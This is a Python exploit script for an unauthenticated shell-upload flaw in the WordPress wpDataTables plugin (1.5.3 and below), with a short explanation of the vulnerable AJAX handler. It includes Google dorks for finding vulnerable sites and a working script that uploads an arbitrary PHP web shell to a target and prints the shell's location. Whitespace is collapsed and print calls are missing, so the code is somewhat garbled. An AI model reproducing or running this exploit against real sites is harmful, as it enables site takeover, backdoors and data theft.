#!/usr/bin/python## Exploit Name: Wordpress wpDataTables 1.5.3 and below Unauthenticated Shell Upload Vulnerability## Vulnerability discovered by Claudio Viviani## Date : 2014-11-22## Exploit written by Claudio Viviani## Video Demo: https://www.youtube.com/watch?v=44m4VNpeEVc## --------------------------------------------------------------------## Issue n.1 (wpdatatables.php)## This function is always available without wpdatatables edit permission:## function wdt_upload_file(){# require_once(PDT_ROOT_PATH.'lib/upload/UploadHandler.php');# $uploadHandler = new UploadHandler();# exit();# }# ...# ...# ...# add_action( 'wp_ajax_wdt_upload_file', 'wdt_upload_file' );# add_action( 'wp_ajax_nopriv_wdt_upload_file', 'wdt_upload_file' );### Issue n.2 (lib/upload/UploadHandler.php)## This php script allows you to upload any type of file## ---------------------------------------------------------------------## Dork google: inurl:/plugins/wpdatatables# inurl:codecanyon-3958969# index of "wpdatatables"# index of "codecanyon-3958969"## Tested on BackBox 3.x### http connectionimporturllib, urllib2, sys, re# Args managementimportoptparse# file managementimportos, os.path# Check urldefcheckurl(url):ifurl[:8] !="https://"andurl[:7] !="http://":('[X] You must insert http:// or https:// procotol')sys.exit(1)else:returnurl# Check if file exists and has readabledefcheckfile(file):ifnotos.path.isfile(file)andnotos.access(file, os.R_OK):'[X] '+file+' file is missing or not readable'sys.exit(1)else:returnfile# Create multipart headerdefcreate_body_sh3ll_upl04d(payloadname):getfields=dict()payloadcontent=open(payloadname).read()LIMIT='----------lImIt_of_THE_fIle_eW_$'CRLF='\r\n'L=[]for(key, value)ingetfields.items():L.append('--'+LIMIT)L.append('Content-Disposition: form-data; name="%s"'%key)L.append('')L.append(value)L.append('--'+LIMIT)L.append('Content-Disposition: form-data; name="%s"; filename="%s"'%('files[]', payloadname))L.append('Content-Type: application/force-download')L.append('')L.append(payloadcontent)L.append('--'+LIMIT+'--')L.append('')body=CRLF.join(L)returnbodybanner="""___ ___ __| Y .-----.----.--| .-----.----.-----.-----.-----.|. | | _ | _| _ | _ | _| -__|__ --|__ --||. / \ |_____|__| |_____| __|__| |_____|_____|_____||: | |__||::.|:. |`--- ---'___ ___ ______ __ _______ __ __| Y .-----| _ \ .---.-| |_.---.-| .---.-| |--| .-----.-----.|. | | _ |. | \| _ | _| _ |.| | | _ | _ | | -__|__ --||. / \ | __|. | |___._|____|___._`-|. |-|___._|_____|__|_____|_____||: |__| |: 1 / |: ||::.|:. | |::.. . / |::.|`--- ---' `------' `---'Sh311 Upl04d Vuln3r4b1l1ty<= 1.5.3Written by:Claudio Vivianihttp://www.homelab.itinfo@homelab.ithomelabit@protonmail.chhttps://www.facebook.com/homelabithttps://twitter.com/homelabithttps://plus.google.com/+HomelabIt1/https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww"""commandList=optparse.OptionParser('usage: %prog -t URL -f FILENAME.PHP [--timeout sec]')commandList.add_option('-t','--target', action="store",help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",)commandList.add_option('-f','--file', action="store",help="Insert file name, ex: shell.php",)commandList.add_option('--timeout', action="store", default=10,type="int",help="[Timeout Value] - Default 10",)options, remainder=commandList.parse_args()# Check argsifnotoptions.targetornotoptions.file:(banner)commandList.print_help()sys.exit(1)payloadname=checkfile(options.file)host=checkurl(options.target)timeout=options.timeout(banner)url_wpdatatab_upload=host+'/wp-admin/admin-ajax.php?action=wdt_upload_file'content_type='multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$'bodyupload=create_body_sh3ll_upl04d(payloadname)headers={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36','content-type': content_type,'content-length':str(len(bodyupload)) }try:req=urllib2.Request(url_wpdatatab_upload, bodyupload, headers)response=urllib2.urlopen(req)read=response.read()if"error"inreadorread=="0":("[X] Upload Failed :(")else:backdoor_location=re.compile('\"url\":\"(.*?)\",\"').search(read).group(1)("[!] Shell Uploaded")("[!] Location: "+backdoor_location.replace("\\",""))excepturllib2.HTTPError as e:("[X] Http Error: "+str(e))excepturllib2.URLError as e:("[X] Connection Error: "+str(e))
Đăng ký:
Đăng Nhận xét (Atom)

Đăng nhận xét Blogger Facebook